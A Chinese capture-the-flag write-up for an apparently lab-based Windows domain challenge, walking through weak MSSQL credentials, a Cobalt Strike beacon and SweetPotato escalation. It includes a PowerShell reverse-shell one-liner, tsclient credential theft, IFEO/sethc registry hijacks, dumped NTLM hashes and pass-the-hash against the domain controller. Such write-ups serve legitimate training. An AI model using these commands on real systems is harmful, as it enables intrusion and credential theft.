准备
目标靶机ip为:39.99.144.3
分两次打的,中间换了ip
flag1
fscan直接扫一波。
可以发现直接爆出了mssql的弱口令,我们直接用 MDUT 工具打。
然后我们直接进入功能界面,先激活组件,然后就可以执行命令了。
这里先配置一下cs(第一次用)
https://blog.csdn.net/weixin_39190897/article/details/118243520
我们先把teamserver.zip传入到vps上面,然后unzip解压后运行。
1 | ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] |
直接运行加上我们vps的ip和想要设置的密码即可,然后cs连接。
我们先来创造一个监听器。
然后我们在有效载荷地方选择windows的可执行程序。
选择我们的监听器,然后会选择一个路径保存文件,我们将该文件上传到靶机中去。我们选择C:/Windows/Temp/这个目录。
1 | C:/Windows/Temp/artifact.exe |
然后去运行它,我们在cs上面就可以接受到会话了。
但是权限还是很低。
这里我们需要使用printspoofer或者sweetpotato提权。
https://github.com/dievus/printspoofer
https://github.com/uknowsec/SweetPotato/tree/master?tab=readme-ov-file
1 | C:/Windows/Temp/SweetPotato.exe -a whoami |
这里都可以,个人感觉sweetpotato好像好一点?
拿到了system权限。然后我们再用这个去执行前面传的cs马,上线system权限。
1 | C:/Windows/Temp/SweetPotato.exe -a "C:/Windows/Temp/artifact.exe" |
我感觉cs命令执行太慢了,我直接弹shell出来用。用powershell把system的权限弹出来。
1 | shell powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ip',7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" |
我们可以在administrator目录下面看到有一个flag。
这是个目录,我们进去可以看到flag1直接拿就行了。
flag1为:
1 | flag{8619d038-7f50-4e26-bddd-b0edc3f2cf47} |
flag2
上传fscan扫一遍内网。chcp 65001改下编码,然后看看ip所处网段(cs上线的时候也有)。
开扫。
1 | ./fscan.exe -h 172.22.8.0/24 |
结果
start infoscan
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.31 is alive
(icmp) Target 172.22.8.46 is alive
[*] Icmp alive hosts len is: 4
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.18:1433 open
172.22.8.15:445 open
172.22.8.18:445 open
172.22.8.46:139 open
172.22.8.31:139 open
172.22.8.15:139 open
172.22.8.46:135 open
172.22.8.18:139 open
172.22.8.31:135 open
172.22.8.15:135 open
172.22.8.18:135 open
172.22.8.46:80 open
172.22.8.18:80 open
172.22.8.15:88 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[*] NetBios 172.22.8.15 [+] DC:XIAORANG\DC01
[*] NetInfo
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] NetInfo
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:1841:15cd:d89c:6ffc
[*] NetBios 172.22.8.46 WIN2016.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetInfo
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[*] WebTitle http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[+] mssql 172.22.8.18:1433:sa 1qaz!QAZ
?????16/16
[*] ??????,???: 25.3572412s
直接交给ai分析一波。
根据端口也没什么好打的洞(这里是都开了3389,但是我没有扫出来),我们再次看18这台。我们可以做一些信息收集。
quser
命令是一个用于显示远程桌面会话主机服务器上的用户会话信息的Windows命令行工具。这个命令可以帮助你确定特定用户是否已经登录到特定的远程桌面会话主机服务器。
可以发现有个john会话为rdp远程连接并且为admin,我们去cs上进行进程注入拿到john的会话。
我们net use会发现它通过tsclient挂载了C盘。
https://www.cnblogs.com/mamiyiya777/p/11017875.html
我们去列目录。
发现有一个credential.txt文件,credential.txt
文件通常用于存储Git操作中的登录用户名和密码。在使用Git进行版本控制时,为了简化登录流程,避免每次操作都需要手动输入用户名和密码,可以使用凭证存储功能。
我们用type命令去读取它。type
是 Windows 命令提示符中的一个命令,用于显示文本文件的内容。
1 | xiaorang.lab\Aldrich:Ald@rLMWuy7Z!# |
拿到用户名和密码,并且下面有一个提示,你知道如何劫持镜像吗。
接下来我们直接cs搭建隧道,用socks5就行了。然后修改我们proxychains的配置文件。
然后进行密码喷洒。
1 | proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' |
STATUS_PASSWORD_EXPIRED
提示密码过期了。
1 | proxychains rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#' |
尝试登录,会显示过期,这里我们就可以直接通过图形化去修改密码。然后再次登录会发现31这台登录不成功。
我们还可以使用 smbpasswd进行修改密码
1 | proxychains -q python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.46 -newpass 'Mash1r0' |
https://github.com/Lex-Case/Impacket/tree/master
尝试发现只有46这台能够成功登录。我们用win去开rdp,用proxifier配置代理即可,我配置rdp软件走代理好像没成功,指定ip走代理可以。
发现权限很低,需要提权。根据前面的提示可以知道IFEO劫持。打开powershell
1 | get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl * |
登录到系统的所有用户可以修改注册表的值和创建子项。
1 | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe" |
操作成功之后锁定,然后点击右下角的放大镜。
也可以参考X1r0z的payload,按五次shift键就行了。
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" |
成功拿到system权限,在前面flag1相同的目录下面可以找到flag2。
flag2为:
1 | flag{11b351ae-aaac-45d6-95a4-f6ef22bcbdc9} |
flag3
经过尝试发现,这台机子好像不出网,用cs上线吧,不然太卡了。
利用rdp共享磁盘,把前面丢在桌面的cs马传进去。
我们右键之前拿到的shell,创建一个新的监听器用来转发上线。
然后选择该监听器添加payload。
得到beacon.exe,c盘需要管理员,我丢在桌面去运行的。
1 | C:\Users\Aldrich\Desktop\beacon.exe |
拿到该shell,利用 logonpasswords 获取凭证。logonpasswords
是 Cobalt Strike 中的一个命令,用于从目标系统中提取登录凭证,包括明文密码、哈希值等。
凭证
Authentication Id : 0 ; 920067 (00000000:000e0a03)
Session : RemoteInteractive from 2
User Name : Aldrich
Domain : XIAORANG
Logon Server : DC01
Logon Time : 2025/2/10 16:26:05
SID : S-1-5-21-3289074908-3315245560-3429321632-1105
msv :
[00000003] Primary
* Username : Aldrich
* Domain : XIAORANG
* NTLM : d62791e860125717d444c4c49b8aaa01
* SHA1 : 3d25b2f82389ff91006d7c8ba3434e81aff39457
* DPAPI : e060f634872ec1e9dab2e6725908e689
tspkg :
wdigest :
* Username : Aldrich
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : Aldrich
* Domain : XIAORANG.LAB
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 897088 (00000000:000db040)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/10 16:26:05
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : 83c84a7d3f40516a50f56172f622c38e
* SHA1 : ac968d62fbbac3b04a453f87d261345268fc6566
tspkg :
wdigest :
* Username : WIN2016$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN2016$
* Domain : xiaorang.lab
* Password : 17 21 e4 11 5b 9c 4a 70 2b 9c be 83 c3 7c b3 13 ba 9a f6 15 5e 31 81 ce ae f0 72 94 c3 39 b6 3c 31 34 46 02 34 d0 1a 76 7d bf 40 e5 85 ff 7d 41 b7 9c f3 e4 a2 43 31 a4 64 4b 78 34 08 3a f0 ba 35 c2 57 ea 9e 85 7b d9 dc 15 9c 7a df c1 e3 e9 1d 42 42 04 90 1a 25 96 86 e1 c3 8f b5 46 92 ff 57 cd 3f 40 76 25 fe de b3 f0 4e de d0 34 d6 01 2f 4d 02 50 8a cc da c3 63 7c 6d ab 88 ff 92 59 5e 48 b8 d2 99 3b cd 84 04 47 26 62 c4 99 b8 32 61 aa cf d6 63 7e d6 07 8d ed 31 d4 54 71 24 56 96 ff 7f 86 8f 1e 31 17 5b e3 30 bb 0f ca 61 ff a3 b8 cb 4e 55 9a a9 90 79 2b 6e 2e 77 79 ce f6 ed c7 1a 92 80 ca ae 92 4c 85 e7 9d 78 a4 b1 6a 43 42 34 2f fd 15 dc ac 7f 8b 9f ef 7a ab 77 2e e6 a3 be 70 f3 84 23 be 5c 80 fa 4b 27 80 c3 a5
ssp :
credman :
Authentication Id : 0 ; 54477 (00000000:0000d4cd)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/10 16:18:44
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : 4ba974f170ab0fe1a8a1eb0ed8f6fe1a
* SHA1 : e06238ecefc14d675f762b08a456770dc000f763
tspkg :
wdigest :
* Username : WIN2016$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN2016$
* Domain : xiaorang.lab
* Password : 9e ae c4 7a ed ee 91 74 a5 59 61 a5 00 2c c5 00 60 3b 87 48 d0 17 48 cf df 7b 14 af 9a 99 22 b5 94 ba 0a 1e f0 6e f0 25 b1 e2 a2 62 fb b8 68 93 42 64 08 b7 f6 2e f7 cf ae a3 7a 94 9d 32 24 1a b1 6b 87 6c 5e f1 d3 89 c6 c4 8b d3 bd 05 9c b0 e1 85 d4 2c 03 56 5f af 09 15 12 10 df 74 e7 4c d3 65 55 d8 ab bd b4 71 5c 8c a7 bd 14 60 8b 44 b5 d8 d8 61 23 f1 4f 4d 8e a0 dc ac 8a 60 15 0d f7 9f a1 85 98 c4 cf 34 ec ee ea c5 b9 5b 42 8b 97 cc 4d ed 1f db 8c b4 45 06 ce 40 fc 81 96 ac c3 61 e5 e9 42 90 69 f3 b2 85 fa 80 59 e2 8b a5 f6 70 5d 1a bd 5f b1 85 6b ae b0 16 42 29 2c 99 57 fb 49 ea e3 29 49 56 55 6c 9a 2b ee 13 77 fe d7 a3 51 b8 01 ec bb 60 22 b8 7c 2f f5 6b 0f 6b 87 36 76 45 81 7e e3 71 0a a8 ca 2a a3 a6 05 64
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN2016$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2025/2/10 16:18:44
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : 83c84a7d3f40516a50f56172f622c38e
* SHA1 : ac968d62fbbac3b04a453f87d261345268fc6566
tspkg :
wdigest :
* Username : WIN2016$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : win2016$
* Domain : XIAORANG.LAB
* Password : 17 21 e4 11 5b 9c 4a 70 2b 9c be 83 c3 7c b3 13 ba 9a f6 15 5e 31 81 ce ae f0 72 94 c3 39 b6 3c 31 34 46 02 34 d0 1a 76 7d bf 40 e5 85 ff 7d 41 b7 9c f3 e4 a2 43 31 a4 64 4b 78 34 08 3a f0 ba 35 c2 57 ea 9e 85 7b d9 dc 15 9c 7a df c1 e3 e9 1d 42 42 04 90 1a 25 96 86 e1 c3 8f b5 46 92 ff 57 cd 3f 40 76 25 fe de b3 f0 4e de d0 34 d6 01 2f 4d 02 50 8a cc da c3 63 7c 6d ab 88 ff 92 59 5e 48 b8 d2 99 3b cd 84 04 47 26 62 c4 99 b8 32 61 aa cf d6 63 7e d6 07 8d ed 31 d4 54 71 24 56 96 ff 7f 86 8f 1e 31 17 5b e3 30 bb 0f ca 61 ff a3 b8 cb 4e 55 9a a9 90 79 2b 6e 2e 77 79 ce f6 ed c7 1a 92 80 ca ae 92 4c 85 e7 9d 78 a4 b1 6a 43 42 34 2f fd 15 dc ac 7f 8b 9f ef 7a ab 77 2e e6 a3 be 70 f3 84 23 be 5c 80 fa 4b 27 80 c3 a5
ssp :
credman :
Authentication Id : 0 ; 897105 (00000000:000db051)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/10 16:26:05
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : 4ba974f170ab0fe1a8a1eb0ed8f6fe1a
* SHA1 : e06238ecefc14d675f762b08a456770dc000f763
tspkg :
wdigest :
* Username : WIN2016$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN2016$
* Domain : xiaorang.lab
* Password : 9e ae c4 7a ed ee 91 74 a5 59 61 a5 00 2c c5 00 60 3b 87 48 d0 17 48 cf df 7b 14 af 9a 99 22 b5 94 ba 0a 1e f0 6e f0 25 b1 e2 a2 62 fb b8 68 93 42 64 08 b7 f6 2e f7 cf ae a3 7a 94 9d 32 24 1a b1 6b 87 6c 5e f1 d3 89 c6 c4 8b d3 bd 05 9c b0 e1 85 d4 2c 03 56 5f af 09 15 12 10 df 74 e7 4c d3 65 55 d8 ab bd b4 71 5c 8c a7 bd 14 60 8b 44 b5 d8 d8 61 23 f1 4f 4d 8e a0 dc ac 8a 60 15 0d f7 9f a1 85 98 c4 cf 34 ec ee ea c5 b9 5b 42 8b 97 cc 4d ed 1f db 8c b4 45 06 ce 40 fc 81 96 ac c3 61 e5 e9 42 90 69 f3 b2 85 fa 80 59 e2 8b a5 f6 70 5d 1a bd 5f b1 85 6b ae b0 16 42 29 2c 99 57 fb 49 ea e3 29 49 56 55 6c 9a 2b ee 13 77 fe d7 a3 51 b8 01 ec bb 60 22 b8 7c 2f f5 6b 0f 6b 87 36 76 45 81 7e e3 71 0a a8 ca 2a a3 a6 05 64
ssp :
credman :
Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/2/10 16:18:47
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/2/10 16:18:44
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 54440 (00000000:0000d4a8)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/2/10 16:18:44
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : 83c84a7d3f40516a50f56172f622c38e
* SHA1 : ac968d62fbbac3b04a453f87d261345268fc6566
tspkg :
wdigest :
* Username : WIN2016$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : WIN2016$
* Domain : xiaorang.lab
* Password : 17 21 e4 11 5b 9c 4a 70 2b 9c be 83 c3 7c b3 13 ba 9a f6 15 5e 31 81 ce ae f0 72 94 c3 39 b6 3c 31 34 46 02 34 d0 1a 76 7d bf 40 e5 85 ff 7d 41 b7 9c f3 e4 a2 43 31 a4 64 4b 78 34 08 3a f0 ba 35 c2 57 ea 9e 85 7b d9 dc 15 9c 7a df c1 e3 e9 1d 42 42 04 90 1a 25 96 86 e1 c3 8f b5 46 92 ff 57 cd 3f 40 76 25 fe de b3 f0 4e de d0 34 d6 01 2f 4d 02 50 8a cc da c3 63 7c 6d ab 88 ff 92 59 5e 48 b8 d2 99 3b cd 84 04 47 26 62 c4 99 b8 32 61 aa cf d6 63 7e d6 07 8d ed 31 d4 54 71 24 56 96 ff 7f 86 8f 1e 31 17 5b e3 30 bb 0f ca 61 ff a3 b8 cb 4e 55 9a a9 90 79 2b 6e 2e 77 79 ce f6 ed c7 1a 92 80 ca ae 92 4c 85 e7 9d 78 a4 b1 6a 43 42 34 2f fd 15 dc ac 7f 8b 9f ef 7a ab 77 2e e6 a3 be 70 f3 84 23 be 5c 80 fa 4b 27 80 c3 a5
ssp :
credman :
Authentication Id : 0 ; 25509 (00000000:000063a5)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/2/10 16:18:43
SID :
msv :
[00000003] Primary
* Username : WIN2016$
* Domain : XIAORANG
* NTLM : 83c84a7d3f40516a50f56172f622c38e
* SHA1 : ac968d62fbbac3b04a453f87d261345268fc6566
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WIN2016$
Domain : XIAORANG
Logon Server : (null)
Logon Time : 2025/2/10 16:18:43
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WIN2016$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : win2016$
* Domain : XIAORANG.LAB
* Password : 17 21 e4 11 5b 9c 4a 70 2b 9c be 83 c3 7c b3 13 ba 9a f6 15 5e 31 81 ce ae f0 72 94 c3 39 b6 3c 31 34 46 02 34 d0 1a 76 7d bf 40 e5 85 ff 7d 41 b7 9c f3 e4 a2 43 31 a4 64 4b 78 34 08 3a f0 ba 35 c2 57 ea 9e 85 7b d9 dc 15 9c 7a df c1 e3 e9 1d 42 42 04 90 1a 25 96 86 e1 c3 8f b5 46 92 ff 57 cd 3f 40 76 25 fe de b3 f0 4e de d0 34 d6 01 2f 4d 02 50 8a cc da c3 63 7c 6d ab 88 ff 92 59 5e 48 b8 d2 99 3b cd 84 04 47 26 62 c4 99 b8 32 61 aa cf d6 63 7e d6 07 8d ed 31 d4 54 71 24 56 96 ff 7f 86 8f 1e 31 17 5b e3 30 bb 0f ca 61 ff a3 b8 cb 4e 55 9a a9 90 79 2b 6e 2e 77 79 ce f6 ed c7 1a 92 80 ca ae 92 4c 85 e7 9d 78 a4 b1 6a 43 42 34 2f fd 15 dc ac 7f 8b 9f ef 7a ab 77 2e e6 a3 be 70 f3 84 23 be 5c 80 fa 4b 27 80 c3 a5
ssp :
credman :
hash传递攻击。
1 | proxychains4 impacket-smbexec -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/administrator@172.22.8.15 -codec gbk |
拿到shell之后直接获取flag3。
1 | type c:\users\administrator\flag\flag03.txt |
flag3为:
1 | flag{11216481-4474-44ea-9841-d252f2e7f883} |
参考文章
https://exp10it.io/2023/07/chunqiuyunjing-tsclient-writeup/
https://zer0peach.github.io/2024/11/28/%E6%98%A5%E7%A7%8B%E4%BA%91%E9%95%9C-Tsclient/